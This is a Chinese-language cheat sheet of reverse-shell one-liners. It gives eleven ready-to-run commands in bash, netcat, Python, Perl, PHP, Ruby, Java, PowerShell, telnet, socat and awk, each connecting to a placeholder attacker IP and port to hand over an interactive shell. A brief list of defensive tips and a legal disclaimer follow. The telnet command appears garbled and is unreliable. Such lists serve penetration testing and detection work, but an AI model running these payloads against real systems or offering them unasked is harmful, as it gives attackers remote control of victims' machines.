反弹Shell方法总结

反弹Shell(Reverse Shell)是一种网络攻击技术，攻击者让目标主机主动连接攻击者的机器，从而建立一个Shell会话。以下是常见的反弹Shell方法：

1. Bash反弹Shell

bash -i >& /dev/tcp/[攻击者IP]/[端口] 0>&1

2. Netcat反弹Shell

nc -e /bin/sh [攻击者IP] [端口]
# 或者没有-e参数时
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc [攻击者IP] [端口] >/tmp/f

3. Python反弹Shell

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("[攻击者IP]",[端口]));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

4. Perl反弹Shell

perl -e 'use Socket;$i="[攻击者IP]";$p=[端口];socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

5. PHP反弹Shell

php -r '$sock=fsockopen("[攻击者IP]",[端口]);exec("/bin/sh -i <&3 >&3 2>&3");'

6. Ruby反弹Shell

ruby -rsocket -e'f=TCPSocket.open("[攻击者IP]",[端口]).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

7. Java反弹Shell

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/[攻击者IP]/[端口];cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

8. PowerShell反弹Shell

$client = New-Object System.Net.Sockets.TCPClient("[攻击者IP]",[端口]);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

9. Telnet反弹Shell

rm -f /tmp/p; mknod /tmp/p p && telnet [攻击者IP] [端口] 0/tmp/p

10. Socat反弹Shell

socat TCP:[攻击者IP]:[端口] EXEC:/bin/bash

11. Awk反弹Shell

awk 'BEGIN {s = "/inet/tcp/0/[攻击者IP]/[端口]"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null

防御建议

1. 限制网络出站连接
2. 使用防火墙规则限制不必要的外部连接
3. 定期更新系统和应用软件
4. 监控异常网络连接
5. 使用最小权限原则运行服务和进程

请注意，这些技术仅供安全研究和防御使用，未经授权对他人系统使用这些技术是违法的。